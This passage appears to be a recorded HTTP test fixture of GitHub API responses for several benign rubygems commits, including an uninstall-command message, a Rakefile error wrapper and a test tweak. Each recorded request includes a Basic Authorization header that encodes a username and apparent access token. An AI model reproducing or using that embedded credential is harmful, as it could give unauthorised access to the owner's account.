hub.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"19746cbc5834e5bc501b33cea3729b23b4c11779","url":"https://api.github.com/repos/rubygems/rubygems/commits/19746cbc5834e5bc501b33cea3729b23b4c11779","html_url":"https://github.com/rubygems/rubygems/commit/19746cbc5834e5bc501b33cea3729b23b4c11779"},{"sha":"27927a2f66ecfcba302b1bdb8485fe9aecce0bcc","url":"https://api.github.com/repos/rubygems/rubygems/commits/27927a2f66ecfcba302b1bdb8485fe9aecce0bcc","html_url":"https://github.com/rubygems/rubygems/commit/27927a2f66ecfcba302b1bdb8485fe9aecce0bcc"}],"stats":{"total":17,"additions":15,"deletions":2},"files":[{"sha":"20b3a7a1e488e6ebca5aadcc3ae0ec50a117201e","filename":"lib/rubygems/commands/uninstall_command.rb","status":"modified","additions":3,"deletions":2,"changes":5,"blob_url":"https://github.com/rubygems/rubygems/blob/8be3cde246f62efe452ce63181e243a56bc99bde/lib/rubygems/commands/uninstall_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8be3cde246f62efe452ce63181e243a56bc99bde/lib/rubygems/commands/uninstall_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/uninstall_command.rb?ref=8be3cde246f62efe452ce63181e243a56bc99bde","patch":"@@ -143,7 +143,9 @@ def uninstall_specific\n deplist = Gem::DependencyList.new\n \n get_all_gem_names.uniq.each do |name|\n- Gem::Specification.find_all_by_name(name).each do |spec|\n+ gem_specs = Gem::Specification.find_all_by_name(name)\n+ say(\"Gem ''#{name}'' is not installed\") if gem_specs.empty?\n+ gem_specs.each do |spec|\n deplist.add spec\n end\n end\n@@ -162,4 +164,3 @@ def uninstall_specific\n end\n \n end\n-"},{"sha":"cca135afdeeae325cd6f8eae7ea128528a8d80d1","filename":"test/rubygems/test_gem_commands_uninstall_command.rb","status":"modified","additions":12,"deletions":0,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/8be3cde246f62efe452ce63181e243a56bc99bde/test/rubygems/test_gem_commands_uninstall_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8be3cde246f62efe452ce63181e243a56bc99bde/test/rubygems/test_gem_commands_uninstall_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_uninstall_command.rb?ref=8be3cde246f62efe452ce63181e243a56bc99bde","patch":"@@ -279,5 +279,17 @@ def test_handle_options_vendor_missing\n RbConfig::CONFIG[''vendordir''] = orig_vendordir\n end\n \n+ def test_execute_with_gem_not_installed\n+ @cmd.options[:args] = [''d'']\n+\n+ use_ui ui do\n+ @cmd.execute\n+ end\n+\n+ output = ui.output.split \"\\n\"\n+ \n+ assert_equal output.first, \"Gem ''d'' is not installed\"\n+ end\n+\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:20 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/19746cbc5834e5bc501b33cea3729b23b4c11779 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:20 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4363' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"79d9e07a82894883c1ecace99c752351" Last-Modified: - Fri, 11 Aug 2017 13:26:00 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049480' X-Github-Request-Id: - C62A:4D95:F48A36:1C84E63:5A50E484 body: encoding: ASCII-8BIT string: '{"sha":"19746cbc5834e5bc501b33cea3729b23b4c11779","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-11T13:26:00Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-11T13:26:00Z"},"message":"Auto merge of #1982 - wilson:master, r=segiddins\n\nDisplay an explanation when rake encounters an ontological problem.\n\n# Description:\n\nIn re: issue #1754, \"rake newb\" on any current ruby fails with a Hoe-derived Gem::LoadError.\n\nUntil the whole thing gets resolved more elegantly (upstream in Hoe?), this wraps the problematic task and only does something different when ''rake'' is the gem that fails to load.\n\n(cc: @segiddins)\n______________\n\n# Before:\n```\n[code/rubygems]% ruby -v\nruby 2.4.1p111 (2017-03-22 revision 58053) [x86_64-darwin15]\n[code/rubygems]% rake newb\ngit submodule update --init\nSubmodule path ''bundler'': checked out ''50905839daa6c381b3759375d69194309c5f6544''\nrake aborted!\nGem::LoadError: can''t activate rake-10.5.0, already activated rake-12.0.0\n/Users/wilson/.gem/ruby/2.4.1/gems/hoe-3.16.1/lib/hoe/deps.rb:60:in `rescue in block in check_extra_deps_task''\n/Users/wilson/.gem/ruby/2.4.1/gems/hoe-3.16.1/lib/hoe/deps.rb:54:in `block in check_extra_deps_task''\n/Users/wilson/.gem/ruby/2.4.1/gems/hoe-3.16.1/lib/hoe/deps.rb:53:in `each''\n/Users/wilson/.gem/ruby/2.4.1/gems/hoe-3.16.1/lib/hoe/deps.rb:53:in `check_extra_deps_task''\n/Users/wilson/.gem/ruby/2.4.1/gems/hoe-3.16.1/lib/hoe/deps.rb:43:in `block in define_deps_tasks''\nGem::LoadError: can''t activate rake-10.5.0, already activated rake-12.0.0\n/Users/wilson/.gem/ruby/2.4.1/gems/hoe-3.16.1/lib/hoe/deps.rb:55:in `block in check_extra_deps_task''\n/Users/wilson/.gem/ruby/2.4.1/gems/hoe-3.16.1/lib/hoe/deps.rb:53:in `each''\n/Users/wilson/.gem/ruby/2.4.1/gems/hoe-3.16.1/lib/hoe/deps.rb:53:in `check_extra_deps_task''\n/Users/wilson/.gem/ruby/2.4.1/gems/hoe-3.16.1/lib/hoe/deps.rb:43:in `block in define_deps_tasks''\nTasks: TOP => newb => check_extra_deps\n(See full trace by running task with --trace)\n```\n\n# After:\n\n```\n[code/rubygems]% rake newb\ngit submodule update --init\nSubmodule path ''bundler'': checked out ''50905839daa6c381b3759375d69194309c5f6544''\nTo override your default rake version, run: `rake _x.y.z_ task_name`:\n Gem::LoadError: can''t activate rake-10.5.0, already activated rake-12.0.0\n```","tree":{"sha":"c9bf818a487e49b12f7925ef580a83e29e1d9987","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c9bf818a487e49b12f7925ef580a83e29e1d9987"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/19746cbc5834e5bc501b33cea3729b23b4c11779","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/19746cbc5834e5bc501b33cea3729b23b4c11779","html_url":"https://github.com/rubygems/rubygems/commit/19746cbc5834e5bc501b33cea3729b23b4c11779","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/19746cbc5834e5bc501b33cea3729b23b4c11779/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"097222bccc62501eac184d0c138284c6c881ff66","url":"https://api.github.com/repos/rubygems/rubygems/commits/097222bccc62501eac184d0c138284c6c881ff66","html_url":"https://github.com/rubygems/rubygems/commit/097222bccc62501eac184d0c138284c6c881ff66"},{"sha":"8c7f78b50d80f1a700a4bee0dc41848d62a365a3","url":"https://api.github.com/repos/rubygems/rubygems/commits/8c7f78b50d80f1a700a4bee0dc41848d62a365a3","html_url":"https://github.com/rubygems/rubygems/commit/8c7f78b50d80f1a700a4bee0dc41848d62a365a3"}],"stats":{"total":17,"additions":15,"deletions":2},"files":[{"sha":"47e73a107ee4fdeea612ed1a13cf8c04655f176a","filename":"Rakefile","status":"modified","additions":15,"deletions":2,"changes":17,"blob_url":"https://github.com/rubygems/rubygems/blob/19746cbc5834e5bc501b33cea3729b23b4c11779/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/19746cbc5834e5bc501b33cea3729b23b4c11779/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=19746cbc5834e5bc501b33cea3729b23b4c11779","patch":"@@ -33,6 +33,7 @@ Hoe::RUBY_FLAGS << \" --disable-gems\" if RUBY_VERSION > \"1.9\"\n \n Hoe.plugin :git\n Hoe.plugin :travis\n+Hoe.plugin :newb\n \n hoe = Hoe.spec ''rubygems-update'' do\n self.author = [''Jim Weirich'', ''Chad Fowler'', ''Eric Hodel'']\n@@ -127,13 +128,25 @@ rescue LoadError, RuntimeError # rake 10.1 on rdoc from ruby 1.9.2 and earlier\n end\n end\n \n+class Hoe\n+ module Deps\n+ alias_method :default_check_extra_task, :check_extra_deps_task\n+ def check_extra_deps_task\n+ default_check_extra_task\n+ rescue Gem::LoadError => e\n+ raise unless e.name == ''rake''\n+ details = \"#{e.class}: #{e}\"\n+ abort \"To override your default rake version, run: `rake _x.y.z_ task_name`:\\n\\t#{details}\"\n+ end\n+ end\n+end\n+task(:newb).prerequisites.unshift \"bundler:checkout\"\n+\n desc \"Install gems needed to run the tests\"\n task :install_test_deps => :clean_env do\n sh \"gem install minitest -v ''~> 4.0''\"\n end\n \n-task(:newb).prerequisites.unshift \"bundler:checkout\"\n-\n begin\n require \"automatiek\"\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:20 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/0dafce8188691a7b942ed4724a0d0e462e74a809 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:20 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4362' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"15c9d064ecd7811b0c3b98d685fa94f8" Last-Modified: - Wed, 09 Aug 2017 12:06:41 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.056035' X-Github-Request-Id: - A35C:4D95:F48A44:1C84E7E:5A50E484 body: encoding: ASCII-8BIT string: '{"sha":"0dafce8188691a7b942ed4724a0d0e462e74a809","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-08-09T12:06:41Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-08-09T12:06:41Z"},"message":"Fixed grammer","tree":{"sha":"722f84cf233ded4574ae05de0dd01280297735f8","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/722f84cf233ded4574ae05de0dd01280297735f8"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/0dafce8188691a7b942ed4724a0d0e462e74a809","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlmK+tEACgkQ+c8TQXJk\n+sKVvwgA0OJVJM6uC8bkiE7Q/lA8STaYOqDjPVE48Goq2XkzjGX/6glrdJ28PweN\nGk9toj0xucUq/9JKE4ePAz3VCcN3TVOhjDaEHTddbZqCLq3PbzEQ501QtUtH4Izz\nOODFWk4aBLupzd5bmevoA5njtdN2DQVTUT1ltLqwkdv9fx7iWpoJgFVpxi/F3Erm\njj7As5Fwt+nloTxmFDwBCe7V8urit1ohEyXPnp/FzBI7xabnmbkkJqvI8mRMumsi\n+jEYIegM810xdf5mW+b0v8/koTn8D2Rhhl/YLt+jVvH86l1MXDymsYzMrIHUmVyK\ngulbSeOATy+l/Ipfbqi4CGOPEfsyjw==\n=e9x0\n-----END PGP SIGNATURE-----","payload":"tree 722f84cf233ded4574ae05de0dd01280297735f8\nparent 8598da6ea02fe69c20f93ac4d5504ca4aba6fe6b\nauthor SHIBATA Hiroshi 1502280401 +0900\ncommitter SHIBATA Hiroshi 1502280401 +0900\n\nFixed grammer\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/0dafce8188691a7b942ed4724a0d0e462e74a809","html_url":"https://github.com/rubygems/rubygems/commit/0dafce8188691a7b942ed4724a0d0e462e74a809","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/0dafce8188691a7b942ed4724a0d0e462e74a809/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"8598da6ea02fe69c20f93ac4d5504ca4aba6fe6b","url":"https://api.github.com/repos/rubygems/rubygems/commits/8598da6ea02fe69c20f93ac4d5504ca4aba6fe6b","html_url":"https://github.com/rubygems/rubygems/commit/8598da6ea02fe69c20f93ac4d5504ca4aba6fe6b"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"edb36f1f324f332b8e407f35f945f6aa63e7cca3","filename":"test/rubygems/test_require.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/0dafce8188691a7b942ed4724a0d0e462e74a809/test/rubygems/test_require.rb","raw_url":"https://github.com/rubygems/rubygems/raw/0dafce8188691a7b942ed4724a0d0e462e74a809/test/rubygems/test_require.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_require.rb?ref=0dafce8188691a7b942ed4724a0d0e462e74a809","patch":"@@ -306,7 +306,7 @@ def test_realworld_default_gem\n begin\n gem ''json''\n rescue Gem::MissingSpecError\n- skip \"default gems is only available after ruby installation\"\n+ skip \"default gems are only available after ruby installation\"\n end\n \n cmd = <<-RUBY"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:20 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/8598da6ea02fe69c20f93ac4d5504ca4aba6fe6b body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:20 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4361' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"9516fe3a5d84a65296a20c2605c7ff15" Last-Modified: - Wed, 09 Aug 2017 07:30:53 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.048650' X-Github-Request-Id: - C62E:4D95:F48A58:1C84E9B:5A50E484 body: encoding: ASCII-8BIT string: '{"sha":"8598da6ea02fe69c20f93ac4d5504ca4aba6fe6b","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-08-09T07:30:53Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-08-09T07:30:53Z"},"message":"Ignored test for real world default gem.\n\n Because default gem was enabled after ruby installation that\n is `make install`","tree":{"sha":"5763555c66841363fb04f5022aaaac679e01b6bb","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/5763555c66841363fb04f5022aaaac679e01b6bb"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8598da6ea02fe69c20f93ac4d5504ca4aba6fe6b","comment_count":1,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlmKunUACgkQ+c8TQXJk\n+sLUTwf/RpquvdhMyw6crGOEflGlL7EMeJaeNqj/hqlQ1a1RVNY86YP2MYoaI6j5\n1CWy1ejFgbdO6MCkeQvddLNZPOoEds/R5jOnIit2ozDUBpHWKnyeLs/yRqpnwBg5\nL40jTdxB30NcF0ZTSM3QHGnWMpycMuQK6eifLwp2jA0rtJGL9r/V3QCqVSy2pf56\n1aTxujOAhsi+635+QQnhll6hLSJTs2gvOwFnVc5RGOmX10NFyChwqGOOkDstSQzd\nZqbBry6j9hhPHfMuvm3hsAKLDAX/QWh2yt9maa6OFLiuWzg8vbQXEGvJ+1VBoDGC\n8q3Mm/++EZKB/2CEWomaAVty7urtBA==\n=atDb\n-----END PGP SIGNATURE-----","payload":"tree 5763555c66841363fb04f5022aaaac679e01b6bb\nparent 097222bccc62501eac184d0c138284c6c881ff66\nauthor SHIBATA Hiroshi 1502263853 +0900\ncommitter SHIBATA Hiroshi 1502263853 +0900\n\nIgnored test for real world default gem.\n\n Because default gem was enabled after ruby installation that\n is `make install`\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8598da6ea02fe69c20f93ac4d5504ca4aba6fe6b","html_url":"https://github.com/rubygems/rubygems/commit/8598da6ea02fe69c20f93ac4d5504ca4aba6fe6b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8598da6ea02fe69c20f93ac4d5504ca4aba6fe6b/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"097222bccc62501eac184d0c138284c6c881ff66","url":"https://api.github.com/repos/rubygems/rubygems/commits/097222bccc62501eac184d0c138284c6c881ff66","html_url":"https://github.com/rubygems/rubygems/commit/097222bccc62501eac184d0c138284c6c881ff66"}],"stats":{"total":6,"additions":6,"deletions":0},"files":[{"sha":"c44c759cca64ce106821392e13e70c28565a70f2","filename":"test/rubygems/test_require.rb","status":"modified","additions":6,"deletions":0,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/8598da6ea02fe69c20f93ac4d5504ca4aba6fe6b/test/rubygems/test_require.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8598da6ea02fe69c20f93ac4d5504ca4aba6fe6b/test/rubygems/test_require.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_require.rb?ref=8598da6ea02fe69c20f93ac4d5504ca4aba6fe6b","patch":"@@ -303,6 +303,12 @@ def test_default_gem_only\n \n def test_realworld_default_gem\n skip \"no default gems on ruby < 2.0\" unless RUBY_VERSION >= \"2\"\n+ begin\n+ gem ''json''\n+ rescue Gem::MissingSpecError\n+ skip \"default gems is only available after ruby installation\"\n+ end\n+\n cmd = <<-RUBY\n $stderr = $stdout\n require \"json\""}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:20 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/097222bccc62501eac184d0c138284c6c881ff66 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:20 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4360' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"0249cec32b6aa6ba3e412aecbdc02ce0" Last-Modified: - Tue, 08 Aug 2017 23:09:03 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041821' X-Github-Request-Id: - C630:4D95:F48A67:1C84EAF:5A50E484 body: encoding: ASCII-8BIT string: '{"sha":"097222bccc62501eac184d0c138284c6c881ff66","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-08T23:09:03Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-08T23:09:03Z"},"message":"Auto merge of #1985 - arthur-marz:master, r=bronzdoc\n\nSmall style fixes to Installer Set\n\n[-] Remove redundant comma from InstallerSet#local?","tree":{"sha":"535650171662018551858d3c46f9a0b70b54c7bd","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/535650171662018551858d3c46f9a0b70b54c7bd"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/097222bccc62501eac184d0c138284c6c881ff66","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/097222bccc62501eac184d0c138284c6c881ff66","html_url":"https://github.com/rubygems/rubygems/commit/097222bccc62501eac184d0c138284c6c881ff66","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/097222bccc62501eac184d0c138284c6c881ff66/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/eve